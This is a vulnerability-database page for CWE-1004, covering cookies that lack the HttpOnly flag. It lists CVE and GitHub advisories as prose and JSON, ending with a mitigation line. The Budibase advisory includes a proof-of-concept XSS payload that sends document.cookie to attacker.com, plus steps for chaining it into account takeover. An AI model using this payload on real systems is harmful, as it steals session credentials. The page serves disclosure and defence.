Common Weakness Enumeration

CWE-1004

Allowed

Sensitive Cookie Without 'HttpOnly' Flag

Abstraction: Variant · Status: Incomplete

The product uses a cookie to store sensitive information, but the cookie is not marked with the HttpOnly flag.

74 vulnerabilities reference this CWE, most recent first.

CVE-2019-8283 (GCVE-0-2019-8283)

Vulnerability from cvelistv5 – Published: 2019-06-07 14:18 – Updated: 2024-08-04 21:17
VLAI
Summary
Hasplm cookie in Gemalto Admin Control Center, all versions prior to 7.92, does not have 'HttpOnly' flag. This allows malicious javascript to steal it.
Severity
No CVSS data available.
CWE
  • CWE-1004 - Sensitive Cookie Without 'HttpOnly' Flag
References
Impacted products
Vendor Product Version
n/a Sentinel LDK RTE Affected: 7.91
Date Public
2019-06-05 00:00
Show details on NVD website

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GHSA-25GJ-GFHX-XWGH

Vulnerability from github – Published: 2023-11-02 18:30 – Updated: 2023-11-02 18:30
VLAI
Details

A vulnerability has been identified in PT-G503 Series versions prior to v5.2, where the session cookies attribute is not set properly in the affected application. The vulnerability may lead to security risks, potentially exposing user session data to unauthorized access and manipulation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-4217"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1004",
      "CWE-668"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-02T17:15:11Z",
    "severity": "LOW"
  },
  "details": "A vulnerability has been identified in PT-G503 Series versions prior to v5.2, where the session cookies attribute is not set properly in the affected application. The vulnerability may lead to security risks, potentially exposing user session data to unauthorized access and manipulation.\n\n",
  "id": "GHSA-25gj-gfhx-xwgh",
  "modified": "2023-11-02T18:30:25Z",
  "published": "2023-11-02T18:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-4217"
    },
    {
      "type": "WEB",
      "url": "https://www.moxa.com/en/support/product-support/security-advisory/mpsa-230203-pt-g503-series-multiple-vulnerabilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-47M2-CQQX-CRJC

Vulnerability from github – Published: 2025-02-28 18:31 – Updated: 2025-02-28 18:31
VLAI
Details

Cookie policy is observable via built-in browser tools. In the presence of XSS, this could lead to full session compromise.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-24318"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1004"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-28T17:15:16Z",
    "severity": "MODERATE"
  },
  "details": "Cookie policy is observable via built-in browser tools. In the presence of XSS, this could lead to full session compromise.",
  "id": "GHSA-47m2-cqqx-crjc",
  "modified": "2025-02-28T18:31:05Z",
  "published": "2025-02-28T18:31:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24318"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-medical-advisories/icsma-25-058-01"
    },
    {
      "type": "WEB",
      "url": "https://www.dariohealth.com/contact"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-499F-RPFH-94VX

Vulnerability from github – Published: 2026-01-16 15:31 – Updated: 2026-01-27 15:30
VLAI
Details

In ConnectWise PSA versions older than 2026.1, certain session cookies were not set with the HttpOnly attribute. In some scenarios, this could allow client-side scripts access to session cookie values.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-0696"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1004"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-16T14:15:54Z",
    "severity": "MODERATE"
  },
  "details": "In ConnectWise PSA versions older than 2026.1, certain session cookies were not set with the HttpOnly attribute. In some scenarios, this could allow client-side scripts access to session cookie values.",
  "id": "GHSA-499f-rpfh-94vx",
  "modified": "2026-01-27T15:30:27Z",
  "published": "2026-01-16T15:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0696"
    },
    {
      "type": "WEB",
      "url": "https://www.connectwise.com/company/trust/security-bulletins/2026-01-15-psa-security-fix"
    },
    {
      "type": "WEB",
      "url": "https://www.themissinglink.com.au/security-advisories/cve-2026-0696"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-49P6-VFMW-3FPH

Vulnerability from github – Published: 2025-07-03 12:34 – Updated: 2025-07-03 12:34
VLAI
Details

The HttpOnly flag is set to false on the PHPSESSION cookie. Therefore, the cookie can be accessed by other sources such as JavaScript.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-27453"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1004"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-03T12:15:23Z",
    "severity": "MODERATE"
  },
  "details": "The HttpOnly flag is set to false on the PHPSESSION cookie. Therefore, the cookie can be accessed by other sources such as JavaScript.",
  "id": "GHSA-49p6-vfmw-3fph",
  "modified": "2025-07-03T12:34:58Z",
  "published": "2025-07-03T12:34:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27453"
    },
    {
      "type": "WEB",
      "url": "https://sick.com/psirt"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/resources-tools/resources/ics-recommended-practices"
    },
    {
      "type": "WEB",
      "url": "https://www.endress.com"
    },
    {
      "type": "WEB",
      "url": "https://www.first.org/cvss/calculator/3.1"
    },
    {
      "type": "WEB",
      "url": "https://www.sick.com/.well-known/csaf/white/2025/sca-2025-0008.json"
    },
    {
      "type": "WEB",
      "url": "https://www.sick.com/.well-known/csaf/white/2025/sca-2025-0008.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4F2M-4QCX-27XF

Vulnerability from github – Published: 2026-01-09 12:32 – Updated: 2026-01-09 12:32
VLAI
Details

This vulnerability exists in Tenda wireless routers (300Mbps Wireless Router F3 and N300 Easy Setup Router) due to the missing HTTPOnly flag for session cookies associated with the web-based administrative interface. A remote at-tacker could exploit this vulnerability by capturing session cookies transmitted over an insecure HTTP connection.

Successful exploitation of this vulnerability could allow the attacker to obtain sensitive information and gain unau-thorized access to the targeted device.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-22081"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1004"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-09T12:15:54Z",
    "severity": "HIGH"
  },
  "details": "This vulnerability exists in Tenda wireless routers (300Mbps Wireless Router F3 and N300 Easy Setup Router) due to the missing HTTPOnly flag for session cookies associated with the web-based administrative interface. A remote at-tacker could exploit this vulnerability by capturing session cookies transmitted over an insecure HTTP connection.\n\nSuccessful exploitation of this vulnerability could allow the attacker to obtain sensitive information and gain unau-thorized access to the targeted device.",
  "id": "GHSA-4f2m-4qcx-27xf",
  "modified": "2026-01-09T12:32:26Z",
  "published": "2026-01-09T12:32:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22081"
    },
    {
      "type": "WEB",
      "url": "https://www.cert-in.org.in/s2cMainServlet?pageid=PUBVLNOTES01\u0026VLCODE=CIVN-2026-0004"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-4F9J-VR4P-642R

Vulnerability from github – Published: 2026-04-24 16:18 – Updated: 2026-05-11 13:29
VLAI
Summary
Budibase auth session cookies are set with httpOnly:false — any XSS can lead to full account takeover
Details

Summary

The budibase:auth cookie containing the JWT session token is set with httpOnly: false at packages/backend-core/src/utils/utils.ts:218. JavaScript can read this cookie via document.cookie. Given that Budibase has had XSS vulnerabilities (GHSA-gp5x-2v54-v2q5 — stored XSS via unsanitized entity names, published April 2, 2026), this means every XSS becomes a full account takeover — the attacker steals the JWT and has persistent access to the victim's account.

The cookie also lacks secure: true (sent over plaintext HTTP) and sameSite attribute.

Details

packages/backend-core/src/utils/utils.ts, lines 215-226:

const config: SetOption = {
  expires: MAX_VALID_DATE,
  path: "/",
  httpOnly: false,     // ← JavaScript can read the session JWT
  overwrite: true,
}

if (env.COOKIE_DOMAIN) {
  config.domain = env.COOKIE_DOMAIN
}

ctx.cookies.set(name, value, config)

This function is called for setting the budibase:auth cookie which contains the signed JWT session token. With httpOnly: false, any JavaScript execution context (XSS, injected script, browser extension) can read the token via document.cookie.

Missing flags: - httpOnly: false → should be true (prevent JS access) - No secure flag → cookie sent over HTTP (should be secure: true for HTTPS deployments) - No sameSite → susceptible to cross-site request attachment (should be sameSite: 'lax')

PoC

Any XSS payload can steal the session:

// Attacker's XSS payload — steals session and sends to attacker server
new Image().src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);

With httpOnly: true, this payload would get an empty string for the auth cookie. Without it, the full JWT is exfiltrated.

Combined with GHSA-gp5x-2v54-v2q5 (stored XSS in entity names), an attacker could: 1. Create an entity with a name containing <script> payload 2. Any user who views that entity has their JWT stolen 3. Attacker uses the JWT for persistent account access

Impact

Every XSS vulnerability — past, present, and future — becomes a full account takeover. The httpOnly flag is the primary defense that limits XSS impact to the current session/page. Without it, XSS escalates from "session riding" to "persistent credential theft."

This affects all Budibase deployments since the cookie configuration is hardcoded.

ATTACHMENTS

BUDIBASE-TOP10-REPORT.md


Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/backend-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.35.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42239"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1004"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-24T16:18:52Z",
    "nvd_published_at": "2026-05-07T20:16:44Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `budibase:auth` cookie containing the JWT session token is set with `httpOnly: false` at `packages/backend-core/src/utils/utils.ts:218`. JavaScript can read this cookie via `document.cookie`. Given that Budibase has had XSS vulnerabilities (GHSA-gp5x-2v54-v2q5 \u2014 stored XSS via unsanitized entity names, published April 2, 2026), this means every XSS becomes a full account takeover \u2014 the attacker steals the JWT and has persistent access to the victim\u0027s account.\n\nThe cookie also lacks `secure: true` (sent over plaintext HTTP) and `sameSite` attribute.\n\n### Details\n\n`packages/backend-core/src/utils/utils.ts`, lines 215-226:\n\n```typescript\nconst config: SetOption = {\n  expires: MAX_VALID_DATE,\n  path: \"/\",\n  httpOnly: false,     // \u2190 JavaScript can read the session JWT\n  overwrite: true,\n}\n\nif (env.COOKIE_DOMAIN) {\n  config.domain = env.COOKIE_DOMAIN\n}\n\nctx.cookies.set(name, value, config)\n```\n\nThis function is called for setting the `budibase:auth` cookie which contains the signed JWT session token. With `httpOnly: false`, any JavaScript execution context (XSS, injected script, browser extension) can read the token via `document.cookie`.\n\nMissing flags:\n- `httpOnly: false` \u2192 should be `true` (prevent JS access)\n- No `secure` flag \u2192 cookie sent over HTTP (should be `secure: true` for HTTPS deployments)\n- No `sameSite` \u2192 susceptible to cross-site request attachment (should be `sameSite: \u0027lax\u0027`)\n\n### PoC\n\nAny XSS payload can steal the session:\n\n```javascript\n// Attacker\u0027s XSS payload \u2014 steals session and sends to attacker server\nnew Image().src = \u0027https://attacker.com/steal?cookie=\u0027 + encodeURIComponent(document.cookie);\n```\n\nWith `httpOnly: true`, this payload would get an empty string for the auth cookie. Without it, the full JWT is exfiltrated.\n\nCombined with GHSA-gp5x-2v54-v2q5 (stored XSS in entity names), an attacker could:\n1. Create an entity with a name containing `\u003cscript\u003e` payload\n2. Any user who views that entity has their JWT stolen\n3. Attacker uses the JWT for persistent account access\n\n### Impact\n\nEvery XSS vulnerability \u2014 past, present, and future \u2014 becomes a full account takeover. The `httpOnly` flag is the primary defense that limits XSS impact to the current session/page. Without it, XSS escalates from \"session riding\" to \"persistent credential theft.\"\n\nThis affects all Budibase deployments since the cookie configuration is hardcoded.\n\n## ATTACHMENTS\n\n[BUDIBASE-TOP10-REPORT.md](https://github.com/user-attachments/files/26508656/BUDIBASE-TOP10-REPORT.md)\n\n---",
  "id": "GHSA-4f9j-vr4p-642r",
  "modified": "2026-05-11T13:29:32Z",
  "published": "2026-04-24T16:18:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-4f9j-vr4p-642r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42239"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/releases/tag/3.35.10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Budibase auth session cookies are set with httpOnly:false \u2014 any XSS can lead to full account takeover"
}

GHSA-59HV-6Q62-JCJ4

Vulnerability from github – Published: 2025-06-12 15:31 – Updated: 2025-06-12 15:31
VLAI
Details

The HttpOnlyflag of the session cookie \"@@\" is set to false. Since this flag helps preventing access to cookies via client-side scripts, setting the flag to false can lead to a higher possibility of Cross-Side-Scripting attacks which target the stored cookies.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-49189"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1004"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-12T14:15:31Z",
    "severity": "MODERATE"
  },
  "details": "The HttpOnlyflag of the session cookie \\\"@@\\\" is set to false. Since this flag helps preventing access to cookies via client-side scripts, setting the flag to false can lead to a higher possibility of Cross-Side-Scripting attacks which target the stored cookies.",
  "id": "GHSA-59hv-6q62-jcj4",
  "modified": "2025-06-12T15:31:22Z",
  "published": "2025-06-12T15:31:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49189"
    },
    {
      "type": "WEB",
      "url": "https://cdn.sick.com/media/docs/1/11/411/Special_information_CYBERSECURITY_BY_SICK_en_IM0084411.PDF"
    },
    {
      "type": "WEB",
      "url": "https://sick.com/psirt"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/resources-tools/resources/ics-recommended-practices"
    },
    {
      "type": "WEB",
      "url": "https://www.first.org/cvss/calculator/3.1"
    },
    {
      "type": "WEB",
      "url": "https://www.sick.com/.well-known/csaf/white/2025/sca-2025-0007.json"
    },
    {
      "type": "WEB",
      "url": "https://www.sick.com/.well-known/csaf/white/2025/sca-2025-0007.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5H4H-M82C-FGMF

Vulnerability from github – Published: 2026-08-25 12:31 – Updated: 2026-08-25 12:31
VLAI
Details

HCL Hive is affected by multiple infrastructure and network configuration vulnerabilities, which could lead to unauthorized lateral movement, container breakout, and sensitive data exposure within internal communications.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-21754"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1004"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-25T11:16:51Z",
    "severity": "MODERATE"
  },
  "details": "HCL Hive is affected by multiple infrastructure and network configuration vulnerabilities, which could lead to unauthorized lateral movement, container breakout, and sensitive data exposure within internal communications.",
  "id": "GHSA-5h4h-m82c-fgmf",
  "modified": "2026-08-25T12:31:22Z",
  "published": "2026-08-25T12:31:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21754"
    },
    {
      "type": "WEB",
      "url": "https://support.hcl-software.com/csm?id=kb_article\u0026sysparm_article=KB0133342"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5W45-P567-G3R4

Vulnerability from github – Published: 2025-10-14 03:30 – Updated: 2025-10-14 03:30
VLAI
Details

SAP Cloud Appliance Library Appliances allows an attacker with high privileges to leverage an insecure S/4HANA default profile setting in an existing SAP CAL appliances to gain access to other appliances. This has low impact on confidentiality of the application, integrity and availability is not impacted.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-42909"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1004"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-14T01:15:32Z",
    "severity": "LOW"
  },
  "details": "SAP Cloud Appliance Library Appliances allows an attacker with high privileges to leverage an insecure S/4HANA default profile setting in an existing SAP CAL appliances to gain access to other appliances. This has low impact on confidentiality of the application, integrity and availability is not impacted.",
  "id": "GHSA-5w45-p567-g3r4",
  "modified": "2025-10-14T03:30:57Z",
  "published": "2025-10-14T03:30:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-42909"
    },
    {
      "type": "WEB",
      "url": "https://me.sap.com/notes/3643871"
    },
    {
      "type": "WEB",
      "url": "https://url.sap/sapsecuritypatchday"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Implementation

Leverage the HttpOnly flag when setting a sensitive cookie in a response.

No CAPEC attack patterns related to this CWE.